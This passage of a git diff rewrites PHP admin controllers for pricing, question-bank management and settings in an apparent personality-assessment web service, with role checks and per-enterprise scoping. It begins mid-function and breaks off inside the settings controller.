return (string) ($data['pdp'] ?? ''); + } + if ($type === 'face' || $type === 'ai') { + return '人脸分析'; + } + + return (string) ($data['type'] ?? $data['result'] ?? ''); + } +} diff --git a/api/app/controller/admin/Pricing.php b/api/app/controller/admin/Pricing.php index afffaf6..a0fec11 100644 --- a/api/app/controller/admin/Pricing.php +++ b/api/app/controller/admin/Pricing.php @@ -1,185 +1,185 @@ -request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - try { - $enterpriseId = $this->resolveEnterpriseId($user); - - // ── 个人版定价 ── - $adminPersonalConfig = $this->queryConfig('admin_personal', $enterpriseId); - $superPersonalConfig = PricingConfigModel::where('type', 'personal')->whereNull('enterpriseId')->find(); - $personalConfig = $adminPersonalConfig - ? $adminPersonalConfig->config - : ($superPersonalConfig ? $superPersonalConfig->config : []); - $isUsingSuperAdminPersonalConfig = !$adminPersonalConfig; - - // ── 企业版定价 ── - $adminEnterpriseConfig = $enterpriseId - ? $this->queryConfig('admin_enterprise', $enterpriseId) - : null; - $superEnterpriseConfig = PricingConfigModel::where('type', 'enterprise')->whereNull('enterpriseId')->find(); - $enterpriseConfig = $adminEnterpriseConfig - ? $adminEnterpriseConfig->config - : ($superEnterpriseConfig ? $superEnterpriseConfig->config : []); - $isUsingSuperAdminEnterpriseConfig = !$adminEnterpriseConfig; - - return success([ - 'personal' => $personalConfig, - 'enterprise' => $enterpriseConfig, - 'isUsingSuperAdminConfig' => $isUsingSuperAdminPersonalConfig, - 'isUsingSuperAdminPersonalConfig' => $isUsingSuperAdminPersonalConfig, - 'isUsingSuperAdminEnterpriseConfig' => $isUsingSuperAdminEnterpriseConfig, - ]); - } catch (\Exception $e) { - return error('获取定价配置失败:' . $e->getMessage(), 500); - } - } - - /** - * 更新定价配置(个人版 + 企业版) - * PUT /api/v1/admin/pricing - * Body: { personalConfig: {...}, enterpriseConfig: {...} } - * 兼容旧格式:{ config: {...} } → 仅更新个人版 - */ - public function update() - { - $user = $this->request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - $rawBody = $this->request->getContent(); - if (empty($rawBody)) { - $rawBody = file_get_contents('php://input'); - } - $input = $rawBody ? json_decode($rawBody, true) : null; - if (!is_array($input)) { - $input = []; - } - - // 兼容旧版仅传 config 的情况 - $personalConfig = $input['personalConfig'] ?? $input['config'] ?? null; - $enterpriseConfig = $input['enterpriseConfig'] ?? null; - - if ($personalConfig === null && $enterpriseConfig === null) { - return error('配置数据不能为空', 400); - } - - try { - $enterpriseId = $this->resolveEnterpriseId($user); - - $result = []; - - // ── 保存个人版定价 ── - if ($personalConfig !== null) { - if (!is_array($personalConfig)) { - return error('个人版定价格式错误', 400); - } - foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { - if (!array_key_exists($field, $personalConfig)) { - return error("个人版定价缺少字段:{$field}", 400); - } - } - $cfg = $this->queryConfig('admin_personal', $enterpriseId); - if (!$cfg) { - $cfg = PricingConfigModel::create([ - 'type' => 'admin_personal', - 'enterpriseId' => $enterpriseId, - 'config' => $personalConfig, - ]); - } else { - $cfg->config = $personalConfig; - $cfg->save(); - } - $result['personal'] = $cfg->config; - } - - // ── 保存企业版定价(仅企业管理员)── - if ($enterpriseConfig !== null) { - if (!$enterpriseId) { - return error('仅企业管理员可设置企业版定价', 403); - } - if (!is_array($enterpriseConfig)) { - return error('企业版定价格式错误', 400); - } - foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { - if (!array_key_exists($field, $enterpriseConfig)) { - return error("企业版定价缺少字段:{$field}", 400); - } - } - $cfg = $this->queryConfig('admin_enterprise', $enterpriseId); - if (!$cfg) { - $cfg = PricingConfigModel::create([ - 'type' => 'admin_enterprise', - 'enterpriseId' => $enterpriseId, - 'config' => $enterpriseConfig, - ]); - } else { - $cfg->config = $enterpriseConfig; - $cfg->save(); - } - $result['enterprise'] = $cfg->config; - } - - return success($result, '定价配置已保存'); - } catch (\Exception $e) { - return error('保存失败:' . $e->getMessage(), 500); - } - } - - /** - * 从 JWT 用户信息中解析 enterpriseId - */ - private function resolveEnterpriseId(array $user): ?int - { - if (($user['role'] ?? '') !== 'enterprise_admin') { - return null; - } - $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); - $eid = $adminRow['enterpriseId'] ?? null; - return $eid ? (int) $eid : null; - } - - /** - * 按 type + enterpriseId 查询定价配置 - */ - private function queryConfig(string $type, ?int $enterpriseId): ?PricingConfigModel - { - $q = PricingConfigModel::where('type', $type); - if ($enterpriseId) { - $q->where('enterpriseId', $enterpriseId); - } else { - $q->whereNull('enterpriseId'); - } - return $q->find(); - } -} +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + $enterpriseId = $this->resolveEnterpriseId($user); + + // ── 个人版定价 ── + $adminPersonalConfig = $this->queryConfig('admin_personal', $enterpriseId); + $superPersonalConfig = PricingConfigModel::where('type', 'personal')->whereNull('enterpriseId')->find(); + $personalConfig = $adminPersonalConfig + ? $adminPersonalConfig->config + : ($superPersonalConfig ? $superPersonalConfig->config : []); + $isUsingSuperAdminPersonalConfig = !$adminPersonalConfig; + + // ── 企业版定价 ── + $adminEnterpriseConfig = $enterpriseId + ? $this->queryConfig('admin_enterprise', $enterpriseId) + : null; + $superEnterpriseConfig = PricingConfigModel::where('type', 'enterprise')->whereNull('enterpriseId')->find(); + $enterpriseConfig = $adminEnterpriseConfig + ? $adminEnterpriseConfig->config + : ($superEnterpriseConfig ? $superEnterpriseConfig->config : []); + $isUsingSuperAdminEnterpriseConfig = !$adminEnterpriseConfig; + + return success([ + 'personal' => $personalConfig, + 'enterprise' => $enterpriseConfig, + 'isUsingSuperAdminConfig' => $isUsingSuperAdminPersonalConfig, + 'isUsingSuperAdminPersonalConfig' => $isUsingSuperAdminPersonalConfig, + 'isUsingSuperAdminEnterpriseConfig' => $isUsingSuperAdminEnterpriseConfig, + ]); + } catch (\Exception $e) { + return error('获取定价配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新定价配置(个人版 + 企业版) + * PUT /api/v1/admin/pricing + * Body: { personalConfig: {...}, enterpriseConfig: {...} } + * 兼容旧格式:{ config: {...} } → 仅更新个人版 + */ + public function update() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = []; + } + + // 兼容旧版仅传 config 的情况 + $personalConfig = $input['personalConfig'] ?? $input['config'] ?? null; + $enterpriseConfig = $input['enterpriseConfig'] ?? null; + + if ($personalConfig === null && $enterpriseConfig === null) { + return error('配置数据不能为空', 400); + } + + try { + $enterpriseId = $this->resolveEnterpriseId($user); + + $result = []; + + // ── 保存个人版定价 ── + if ($personalConfig !== null) { + if (!is_array($personalConfig)) { + return error('个人版定价格式错误', 400); + } + foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { + if (!array_key_exists($field, $personalConfig)) { + return error("个人版定价缺少字段:{$field}", 400); + } + } + $cfg = $this->queryConfig('admin_personal', $enterpriseId); + if (!$cfg) { + $cfg = PricingConfigModel::create([ + 'type' => 'admin_personal', + 'enterpriseId' => $enterpriseId, + 'config' => $personalConfig, + ]); + } else { + $cfg->config = $personalConfig; + $cfg->save(); + } + $result['personal'] = $cfg->config; + } + + // ── 保存企业版定价(仅企业管理员)── + if ($enterpriseConfig !== null) { + if (!$enterpriseId) { + return error('仅企业管理员可设置企业版定价', 403); + } + if (!is_array($enterpriseConfig)) { + return error('企业版定价格式错误', 400); + } + foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { + if (!array_key_exists($field, $enterpriseConfig)) { + return error("企业版定价缺少字段:{$field}", 400); + } + } + $cfg = $this->queryConfig('admin_enterprise', $enterpriseId); + if (!$cfg) { + $cfg = PricingConfigModel::create([ + 'type' => 'admin_enterprise', + 'enterpriseId' => $enterpriseId, + 'config' => $enterpriseConfig, + ]); + } else { + $cfg->config = $enterpriseConfig; + $cfg->save(); + } + $result['enterprise'] = $cfg->config; + } + + return success($result, '定价配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 从 JWT 用户信息中解析 enterpriseId + */ + private function resolveEnterpriseId(array $user): ?int + { + if (($user['role'] ?? '') !== 'enterprise_admin') { + return null; + } + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $eid = $adminRow['enterpriseId'] ?? null; + return $eid ? (int) $eid : null; + } + + /** + * 按 type + enterpriseId 查询定价配置 + */ + private function queryConfig(string $type, ?int $enterpriseId): ?PricingConfigModel + { + $q = PricingConfigModel::where('type', $type); + if ($enterpriseId) { + $q->where('enterpriseId', $enterpriseId); + } else { + $q->whereNull('enterpriseId'); + } + return $q->find(); + } +} diff --git a/api/app/controller/admin/Question.php b/api/app/controller/admin/Question.php index 068590d..e2f19a4 100644 --- a/api/app/controller/admin/Question.php +++ b/api/app/controller/admin/Question.php @@ -1,457 +1,457 @@ -request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 确定企业ID - $enterpriseId = null; - if ($user['role'] === 'enterprise_admin') { - // 企业管理员:使用自己的企业ID - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - $enterpriseId = $userModel['enterpriseId'] ?? null; - } elseif ($user['role'] === 'admin') { - // 普通管理员:可以查看所有企业的题库,但优先显示超管题库 - $enterpriseId = Request::param('enterpriseId', null); - } else { - return error('无权限访问', 403); - } - - $page = Request::param('page', 1); - $pageSize = Request::param('pageSize', 20); - $type = Request::param('type', ''); // mbti/disc/pdp - $status = Request::param('status', ''); // 1启用/0禁用 - - $where = []; - - // 如果指定了企业ID,优先查询企业题库 - // 如果没有企业题库,则查询超管题库(enterpriseId = NULL) - if ($enterpriseId !== null) { - // 先检查企业是否有自己的题库 - $enterpriseQuestionCount = QuestionModel::where('enterpriseId', $enterpriseId) - ->where('type', $type ?: ['mbti', 'disc', 'pdp']) - ->count(); - - if ($enterpriseQuestionCount > 0) { - // 使用企业题库 - $where['enterpriseId'] = $enterpriseId; - } else { - // 使用超管题库 - $where['enterpriseId'] = null; - } - } else { - // 普通管理员查看超管题库 - $where['enterpriseId'] = null; - } - - // 类型筛选 - if ($type) { - $where['type'] = $type; - } - - // 状态筛选 - if ($status !== '') { - $where['status'] = $status; - } - - // 查询题库列表 - $list = QuestionModel::where($where) - ->order('sort', 'asc') - ->order('id', 'asc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - // 处理 options 字段,确保返回数组格式 - foreach ($list as &$item) { - if (isset($item['options'])) { - // 如果是对象格式(stdClass),先转换为数组 - if (is_object($item['options'])) { - $item['options'] = json_decode(json_encode($item['options']), true); - } - // 如果是关联数组(不是索引数组),转换为索引数组 - if (is_array($item['options']) && !isset($item['options'][0])) { - $item['options'] = array_values($item['options']); - } - } - } - unset($item); - - // 总数 - $total = QuestionModel::where($where)->count(); - - // 标识当前使用的是企业题库还是超管题库 - $isUsingSuperAdminBank = ($where['enterpriseId'] === null); - - return success([ - 'list' => $list, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize, - 'isUsingSuperAdminBank' => $isUsingSuperAdminBank, - 'enterpriseId' => $enterpriseId - ]); - } - - /** - * 获取题目详情 - * @param int $id - * @return \think\response\Json - */ - public function detail($id) - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 确定企业ID - $enterpriseId = null; - if ($user['role'] === 'enterprise_admin') { - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - $enterpriseId = $userModel['enterpriseId'] ?? null; - } elseif ($user['role'] === 'admin') { - $enterpriseId = Request::param('enterpriseId', null); - } else { - return error('无权限访问', 403); - } - - // 先查询企业题库,如果没有则查询超管题库 - $question = null; - if ($enterpriseId !== null) { - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', $enterpriseId) - ->find(); - } - - if (!$question) { - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', null) - ->find(); - } - - if (!$question) { - return error('题目不存在', 404); - } - - $data = $question->toArray(); - - // 处理 options 字段,确保返回数组格式 - if (isset($data['options'])) { - // 如果是对象格式(stdClass),先转换为数组 - if (is_object($data['options'])) { - $data['options'] = json_decode(json_encode($data['options']), true); - } - // 如果是关联数组(不是索引数组),转换为索引数组 - if (is_array($data['options']) && !isset($data['options'][0])) { - $data['options'] = array_values($data['options']); - } - } - - return success($data); - } - - /** - * 创建题目(企业管理员只能创建自己企业的题目) - * @return \think\response\Json - */ - public function create() - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 只有企业管理员可以创建题目 - if ($user['role'] !== 'enterprise_admin') { - return error('只有企业管理员可以创建题目', 403); - } - - // 获取企业ID - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - $enterpriseId = $userModel['enterpriseId'] ?? null; - - if (!$enterpriseId) { - return error('企业信息不存在', 400); - } - - $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); - - // 验证必填字段 - if (empty($data['type']) || empty($data['question']) || empty($data['options'])) { - return error('题目类型、题目内容和选项不能为空', 400); - } - - // 验证类型 - if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) { - return error('题目类型必须是 mbti、disc 或 pdp', 400); - } - - // 验证选项格式 - if (!is_array($data['options'])) { - return error('选项必须是数组格式', 400); - } - - // MBTI类型需要dimension字段 - if ($data['type'] === 'mbti' && empty($data['dimension'])) { - return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); - } - - // 设置企业ID - $data['enterpriseId'] = $enterpriseId; - - // 设置默认值 - $data['sort'] = $data['sort'] ?? 0; - $data['status'] = $data['status'] ?? 1; - - // 创建题目 - $question = QuestionModel::create($data); - - return success($question->toArray(), '创建成功'); - } - - /** - * 更新题目(企业管理员只能更新自己企业的题目) - * @param int $id - * @return \think\response\Json - */ - public function update($id) - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 只有企业管理员可以更新题目 - if ($user['role'] !== 'enterprise_admin') { - return error('只有企业管理员可以更新题目', 403); - } - - // 获取企业ID - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - $enterpriseId = $userModel['enterpriseId'] ?? null; - - if (!$enterpriseId) { - return error('企业信息不存在', 400); - } - - // 只能更新自己企业的题目 - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', $enterpriseId) - ->find(); - - if (!$question) { - return error('题目不存在或无权限修改', 404); - } - - $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); - - // 验证类型 - if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) { - return error('题目类型必须是 mbti、disc 或 pdp', 400); - } - - // 验证选项格式 - if (isset($data['options']) && !is_array($data['options'])) { - return error('选项必须是数组格式', 400); - } - - // MBTI类型需要dimension字段 - if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) { - return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); - } - - // 更新题目 - $question->save($data); - - return success($question->toArray(), '更新成功'); - } - - /** - * 删除题目(软删除,企业管理员只能删除自己企业的题目) - * @param int $id - * @return \think\response\Json - */ - public function delete($id) - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 只有企业管理员可以删除题目 - if ($user['role'] !== 'enterprise_admin') { - return error('只有企业管理员可以删除题目', 403); - } - - // 获取企业ID - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - $enterpriseId = $userModel['enterpriseId'] ?? null; - - if (!$enterpriseId) { - return error('企业信息不存在', 400); - } - - // 只能删除自己企业的题目 - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', $enterpriseId) - ->find(); - - if (!$question) { - return error('题目不存在或无权限删除', 404); - } - - // 执行软删除 - $question->delete(); - - return success(null, '删除成功'); - } - - /** - * 批量导入题目(企业管理员) - * @return \think\response\Json - */ - public function batchImport() - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 只有企业管理员可以导入题目 - if ($user['role'] !== 'enterprise_admin') { - return error('只有企业管理员可以导入题目', 403); - } - - // 获取企业ID - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - $enterpriseId = $userModel['enterpriseId'] ?? null; - - if (!$enterpriseId) { - return error('企业信息不存在', 400); - } - - $questions = Request::param('questions', []); - - if (empty($questions) || !is_array($questions)) { - return error('题目数据不能为空', 400); - } - - $successCount = 0; - $failCount = 0; - $errors = []; - - Db::startTrans(); - try { - foreach ($questions as $index => $q) { - // 验证必填字段 - if (empty($q['type']) || empty($q['question']) || empty($q['options'])) { - $failCount++; - $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空"; - continue; - } - - // 验证类型 - if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) { - $failCount++; - $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp"; - continue; - } - - // MBTI类型需要dimension字段 - if ($q['type'] === 'mbti' && empty($q['dimension'])) { - $failCount++; - $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度"; - continue; - } - - // 设置企业ID - $q['enterpriseId'] = $enterpriseId; - $q['sort'] = $q['sort'] ?? ($index + 1); - $q['status'] = $q['status'] ?? 1; - - QuestionModel::create($q); - $successCount++; - } - - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - return error('批量导入失败:' . $e->getMessage(), 500); - } - - return success([ - 'successCount' => $successCount, - 'failCount' => $failCount, - 'errors' => $errors - ], "成功导入 {$successCount} 题,失败 {$failCount} 题"); - } - - /** - * 切换题目状态 - * @param int $id - * @return \think\response\Json - */ - public function toggleStatus($id) - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 只有企业管理员可以切换状态 - if ($user['role'] !== 'enterprise_admin') { - return error('只有企业管理员可以切换题目状态', 403); - } - - // 获取企业ID - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - $enterpriseId = $userModel['enterpriseId'] ?? null; - - if (!$enterpriseId) { - return error('企业信息不存在', 400); - } - - // 只能操作自己企业的题目 - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', $enterpriseId) - ->find(); - - if (!$question) { - return error('题目不存在或无权限操作', 404); - } - - $question->status = $question->status == 1 ? 0 : 1; - $question->save(); - - return success($question->toArray(), '状态更新成功'); - } -} - +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 确定企业ID + $enterpriseId = null; + if ($user['role'] === 'enterprise_admin') { + // 企业管理员:使用自己的企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + } elseif ($user['role'] === 'admin') { + // 普通管理员:可以查看所有企业的题库,但优先显示超管题库 + $enterpriseId = Request::param('enterpriseId', null); + } else { + return error('无权限访问', 403); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + $type = Request::param('type', ''); // mbti/disc/pdp + $status = Request::param('status', ''); // 1启用/0禁用 + + $where = []; + + // 如果指定了企业ID,优先查询企业题库 + // 如果没有企业题库,则查询超管题库(enterpriseId = NULL) + if ($enterpriseId !== null) { + // 先检查企业是否有自己的题库 + $enterpriseQuestionCount = QuestionModel::where('enterpriseId', $enterpriseId) + ->where('type', $type ?: ['mbti', 'disc', 'pdp']) + ->count(); + + if ($enterpriseQuestionCount > 0) { + // 使用企业题库 + $where['enterpriseId'] = $enterpriseId; + } else { + // 使用超管题库 + $where['enterpriseId'] = null; + } + } else { + // 普通管理员查看超管题库 + $where['enterpriseId'] = null; + } + + // 类型筛选 + if ($type) { + $where['type'] = $type; + } + + // 状态筛选 + if ($status !== '') { + $where['status'] = $status; + } + + // 查询题库列表 + $list = QuestionModel::where($where) + ->order('sort', 'asc') + ->order('id', 'asc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 处理 options 字段,确保返回数组格式 + foreach ($list as &$item) { + if (isset($item['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($item['options'])) { + $item['options'] = json_decode(json_encode($item['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($item['options']) && !isset($item['options'][0])) { + $item['options'] = array_values($item['options']); + } + } + } + unset($item); + + // 总数 + $total = QuestionModel::where($where)->count(); + + // 标识当前使用的是企业题库还是超管题库 + $isUsingSuperAdminBank = ($where['enterpriseId'] === null); + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'isUsingSuperAdminBank' => $isUsingSuperAdminBank, + 'enterpriseId' => $enterpriseId + ]); + } + + /** + * 获取题目详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 确定企业ID + $enterpriseId = null; + if ($user['role'] === 'enterprise_admin') { + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + } elseif ($user['role'] === 'admin') { + $enterpriseId = Request::param('enterpriseId', null); + } else { + return error('无权限访问', 403); + } + + // 先查询企业题库,如果没有则查询超管题库 + $question = null; + if ($enterpriseId !== null) { + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + } + + if (!$question) { + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) + ->find(); + } + + if (!$question) { + return error('题目不存在', 404); + } + + $data = $question->toArray(); + + // 处理 options 字段,确保返回数组格式 + if (isset($data['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($data['options'])) { + $data['options'] = json_decode(json_encode($data['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($data['options']) && !isset($data['options'][0])) { + $data['options'] = array_values($data['options']); + } + } + + return success($data); + } + + /** + * 创建题目(企业管理员只能创建自己企业的题目) + * @return \think\response\Json + */ + public function create() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以创建题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以创建题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证必填字段 + if (empty($data['type']) || empty($data['question']) || empty($data['options'])) { + return error('题目类型、题目内容和选项不能为空', 400); + } + + // 验证类型 + if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (!is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if ($data['type'] === 'mbti' && empty($data['dimension'])) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 设置企业ID + $data['enterpriseId'] = $enterpriseId; + + // 设置默认值 + $data['sort'] = $data['sort'] ?? 0; + $data['status'] = $data['status'] ?? 1; + + // 创建题目 + $question = QuestionModel::create($data); + + return success($question->toArray(), '创建成功'); + } + + /** + * 更新题目(企业管理员只能更新自己企业的题目) + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以更新题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以更新题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能更新自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限修改', 404); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证类型 + if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (isset($data['options']) && !is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 更新题目 + $question->save($data); + + return success($question->toArray(), '更新成功'); + } + + /** + * 删除题目(软删除,企业管理员只能删除自己企业的题目) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以删除题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以删除题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能删除自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限删除', 404); + } + + // 执行软删除 + $question->delete(); + + return success(null, '删除成功'); + } + + /** + * 批量导入题目(企业管理员) + * @return \think\response\Json + */ + public function batchImport() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以导入题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以导入题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + $questions = Request::param('questions', []); + + if (empty($questions) || !is_array($questions)) { + return error('题目数据不能为空', 400); + } + + $successCount = 0; + $failCount = 0; + $errors = []; + + Db::startTrans(); + try { + foreach ($questions as $index => $q) { + // 验证必填字段 + if (empty($q['type']) || empty($q['question']) || empty($q['options'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空"; + continue; + } + + // 验证类型 + if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp"; + continue; + } + + // MBTI类型需要dimension字段 + if ($q['type'] === 'mbti' && empty($q['dimension'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度"; + continue; + } + + // 设置企业ID + $q['enterpriseId'] = $enterpriseId; + $q['sort'] = $q['sort'] ?? ($index + 1); + $q['status'] = $q['status'] ?? 1; + + QuestionModel::create($q); + $successCount++; + } + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('批量导入失败:' . $e->getMessage(), 500); + } + + return success([ + 'successCount' => $successCount, + 'failCount' => $failCount, + 'errors' => $errors + ], "成功导入 {$successCount} 题,失败 {$failCount} 题"); + } + + /** + * 切换题目状态 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以切换状态 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以切换题目状态', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能操作自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限操作', 404); + } + + $question->status = $question->status == 1 ? 0 : 1; + $question->save(); + + return success($question->toArray(), '状态更新成功'); + } +} + diff --git a/api/app/controller/admin/Settings.php b/api/app/controller/admin/Settings.php index 4e0d9cd..f265e4c 100644 --- a/api/app/controller/admin/Settings.php +++ b/api/app/controller/admin/Settings.php @@ -1,418 +1,418 @@ -request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 验证是否为管理员 - if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - try { - // 获取当前管理员用户名 - $jwtUsername = $user['username'] ?? null; - $username = 'admin'; - - if ($jwtUsername) { - $currentUser = UserModel::where('username', $jwtUsername) - ->whereIn('role', ['admin', 'enterprise_admin']) - ->find(); - if ($currentUser) { - $username = $currentUser->username; - } else { - $username = $jwtUsername; - } - } - - return success([ - 'username' => $username - ]); - } catch (\Exception $e) { - return error('获取配置失败:' . $e->getMessage(), 500); - } - } - - /** - * 获取可用字体列表 - * GET /api/v1/admin/settings/fonts - */ - public function getFonts() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - $fonts = \app\common\service\PosterService::getAvailableFonts(); - return success([ - 'fonts' => $fonts, - 'fontDir' => root_path() . 'public/fonts/', - 'dirExist' => is_dir(root_path() . 'public/fonts/'), - ]); - } - - /** - * 获取海报配置 - * GET /api/v1/admin/settings/poster - * 有 enterpriseId 则读企业专属行,否则读全局(enterprise_id=0) - */ - public function getPosterConfig() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - $eid = (int)($user['enterpriseId'] ?? 0); - $row = self::getConfig('poster_config', $eid); - $poster 